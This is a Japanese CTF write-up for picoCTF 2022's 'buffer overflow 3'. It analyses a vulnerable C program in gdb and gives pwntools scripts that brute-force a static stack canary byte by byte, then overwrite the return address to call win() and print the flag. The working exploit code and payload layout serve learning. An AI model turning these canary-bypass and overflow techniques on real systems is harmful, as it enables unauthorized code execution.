カナリアの回避

picoCTF 2022の「buffer overflow 3」。

スタックの途中に4バイトの文字列があるのでそれを壊さないようにEIPを奪う。

プログラムの概要

ただ入力を受け取るのではなく、バッファに書き込むサイズを指定できる。

How Many Bytes will You Write Into the Buffer?
> 70
Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Ok... Now Where's the Flag?

これがカナリア特定の際に重要になる。

ソース

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
...
int main(int argc, char **argv){
  read_canary();
  vuln();
}

main関数に入ると、まずread_canary関数を実行し、その後にvuln関数を実行する。

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

ここでいうカナリアの実態は、canary.txtというファイルから読み出した4文字の文字列。

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n");
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
}

最初にバッファに書き込むサイズを指定できる(lengthおよびcount)。

たとえば最初の入力で70と与えてInputで100文字与えると、70文字だけ読み取られて残りの30文字はあふれる。

ゴールはwin関数を実行すること。

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  fgets(buf,FLAGSIZE,f);
  puts(buf);
}

カナリアまでのオフセット

入力する場所からカナリアの4文字が格納されてる場所までのオフセットを求める。

ここではカナリアを"ZZZZ"としておく。

┌──(shoebill㉿shoebill)-[~/pico]
└─$ cat canary.txt
ZZZZ

vuln関数の一回目のreadにブレイクポイントを打ってgdbで解析する。

(入力サイズはとりあえず70にしておく)

gdb-peda$ b *vuln+187
gdb-peda$ r
> 70
...
[-------------------------------------code-------------------------------------]
   0x804953e <vuln+181>:        lea    eax,[ebp-0x50]
   0x8049541 <vuln+184>:        push   eax
   0x8049542 <vuln+185>:        push   0x0
=> 0x8049544 <vuln+187>:        call   0x8049130 <read@plt>
   0x8049549 <vuln+192>:        add    esp,0x10
   0x804954c <vuln+195>:        sub    esp,0x4
   0x804954f <vuln+198>:        push   0x4
   0x8049551 <vuln+200>:        mov    eax,0x804c054
Guessed arguments:
arg[0]: 0x0 
arg[1]: 0xffffcf08 --> 0xffffd044 --> 0xffffd224 ("/home/shoebill/pico/vuln")
arg[2]: 0x46 (=70)

スタックを多めに表示してみるとカナリア(ZZZZ)がいた。

gdb-peda$ stack 40
0000| 0xffffceb0 --> 0x0 
0004| 0xffffceb4 --> 0xffffcf08 --> 0xffffd044 --> 0xffffd224 ("/home/shoebill/pico/vuln")
0008| 0xffffceb8 --> 0x46 ('F')
...
0148| 0xffffcf44 --> 0x804c000 --> 0x804bf10 --> 0x1 
0152| 0xffffcf48 ("ZZZZ\002")
0156| 0xffffcf4c --> 0x2

そのままniコマンドで次のread関数を実行する。

ためしに"A"を100文字入力してからスタックを見てみると

0088| 0xffffcf08 ('A' <repeats 70 times>)
0092| 0xffffcf0c ('A' <repeats 66 times>)
0096| 0xffffcf10 ('A' <repeats 62 times>)
...

よってカナリアまでのオフセットは

gdb-peda$ p 0xffffcf48 - 0xffffcf08
$1 = 0x40

64(これはBUFFSIZEに等しい)と判明。

カナリアを求める

入力サイズを指定できるという点に着目すると、カナリアを求めるスマートな方法があることに気付く。

次の出力結果の違いに注目(カナリアが"ABCD"の場合):

┌──(shoebill㉿shoebill)-[~/pico]
└─$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 65
Input> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXZ
***** Stack Smashing Detected ***** : Canary Value Corrupt!

┌──(shoebill㉿shoebill)-[~/pico]
└─$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 65
Input> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA

Ok... Now Where's the Flag?

入力サイズを65とする。そして、パディング用の64文字+カナリアの先頭1文字 を入力する。

"Stack Smashing Detected"と出力されなければ、パディングに続けた一文字はカナリアの先頭一文字に等しいということ。

これを利用してカナリアを一文字ずつbrute forceしていく。

カナリアのbrute force

ターゲットサーバへ負荷をかけすぎないために、一度に4文字みつけるのではなく一文字ずつみつけるようにスクリプトを組む。

#!/usr/bin/env python3
import string
import time
from pwn import *

bin_file = './vuln'
context.binary = bin_file
context.log_level = 'error'
binf = ELF(bin_file)

flag = False

def attack(conn, length, canary):
    global flag

    conn.sendlineafter(b'> ', length)

    payload = b'a' * 64 + canary
    conn.sendlineafter(b'Input> ', payload)

    conn.recvline()
    recv = conn.recvline()

    if b'Stack Smashing Detected' in recv:
        pass
    else:
        print('\nfound!\ncanary[:{0}] = {1}'.format(len(canary), canary))
        flag = True

def main():
    moji = string.digits + string.ascii_letters + string.punctuation

    correct_canary = args.LETTER1 + args.LETTER2 + args.LETTER3 + args.LETTER4
    correct_canary = bytes(correct_canary, 'utf-8')
    length = bytes(args.LENGTH, 'utf-8')

    for c in moji:
        print('\r canary:%s' % c, end = '')
        conn = remote('saturn.picoctf.net', 52885)
        canary = correct_canary + bytes(c, 'utf-8')
        try:
            attack(conn, length, canary)
        except:
            pass
        conn.close()
        time.sleep(0.5)
        if flag:
            break

if __name__ == '__main__':
    main()
  • BytesWarningが鬱陶しいのでいちいちbytes関数で変換
  • EOFErrorが頻発しbrute forceがうまくいかないのでtry/errorでエラーを無視る

pwntoolsとコマンドライン引数について:

scrapbox.io

いちいちbytes関数使わずに以下を追記するだけでもBytesWarningを抑制できる。

import warnings
warnings.simplefilter('ignore', category = BytesWarning)

このbrute.pyを以下のように実行してカナリアを求める。

┌──(shoebill㉿shoebill)-[~/pico]
└─$ python3 brute.py LENGTH=65
canary:B
found!
canary[:1] = b'B'

┌──(shoebill㉿shoebill)-[~/pico]
└─$ python3 brute.py LENGTH=66 LETTER1=B
canary:i
found!
canary[:2] = b'Bi'

┌──(shoebill㉿shoebill)-[~/pico]
└─$ python3 brute.py LENGTH=67 LETTER1=B LETTER2=i
canary:R
found!
canary[:3] = b'BiR'

┌──(shoebill㉿shoebill)-[~/pico]
└─$ python3 brute.py LENGTH=68 LETTER1=B LETTER2=i LETTER3=R
canary:
found!
canary[:4] = b'BiRd'

リターンアドレスまでのオフセット

最終的なペイロード

(64文字のパディング)+(カナリア)+(retaddrまでのパディング)+(win関数のアドレス)

となる。

そこで、gdbのパターン文字列を

(64文字のパディング)+(カナリア)+(パターン文字列)

のように使って入力してやる。

入力サイズを200、パターン文字列の長さを100として実行。

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
> 200
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRdAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Ok... Now Where's the Flag?
...
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414241 ('ABAA')
ECX: 0x6c0 
EDX: 0xf7e20994 --> 0x0 
ESI: 0xffffd044 --> 0xffffd224 ("/home/shoebill/pico/vuln")
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0x6e414124 ('$AAn')
ESP: 0xffffcf60 ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n\357\341\367D\320\377\377\200\313\377\367 \320\377\367\367*\364\320\347\340M\253")
EIP: 0x41434141 ('AACA')
...
Stopped reason: SIGSEGV
0x41434141 in ?? ()
gdb-peda$ patto AACA
AACA found at offset: 16

よってカナリアからリターンアドレスまでのオフセットは16。

exploit

#!/usr/bin/env python3
from pwn import *
import time

bin_file = './vuln'
context.binary = bin_file
context.log_level = 'debug'
binf = ELF(bin_file)

addr_win = binf.symbols['win']

def attack(conn, **kwargs):
    conn.sendlineafter(b'> ', b'200')

    payload = b'a' * 64
    payload += b'BiRd'
    payload += b'b' * 16
    payload += p32(addr_win)
    conn.sendlineafter(b'Input> ', payload)

def main():
    conn = remote('saturn.picoctf.net', 64416)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

実行結果(context.log_leveldebugにしないとフラグがみえない):

┌──(shoebill㉿shoebill)-[~/pico]
└─$ ./exploit.py
[+] Opening connection to saturn.picoctf.net on port 52885: Done
[DEBUG] Received 0x32 bytes:
    b'How Many Bytes will You Write Into the Buffer?\r\n'
    b'> '
[DEBUG] Sent 0x4 bytes:
    b'200\n'
[DEBUG] Received 0x5 bytes:
    b'200\r\n'
[DEBUG] Received 0x7 bytes:
    b'Input> '
[DEBUG] Sent 0x59 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000040  42 69 52 64  62 62 62 62  62 62 62 62  62 62 62 62  │BiRd│bbbb│bbbb│bbbb│
    00000050  62 62 62 62  36 93 04 08  0a                        │bbbb│6···│·│
    00000059
[*] Switching to interactive mode
[DEBUG] Received 0x5a bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000040  42 69 52 64  62 62 62 62  62 62 62 62  62 62 62 62  │BiRd│bbbb│bbbb│bbbb│
    00000050  62 62 62 62  36 93 5e 48  0d 0a                     │bbbb│6·^H│··│
    0000005a

[DEBUG] Received 0x48 bytes:
    b"Ok... Now Where's the Flag?\r\n"
    b'picoCTF{Stat1C_c4n4r13s_4R3_b4D_a2b218b2}\r\n'


[*] Got EOF while reading in interactive
$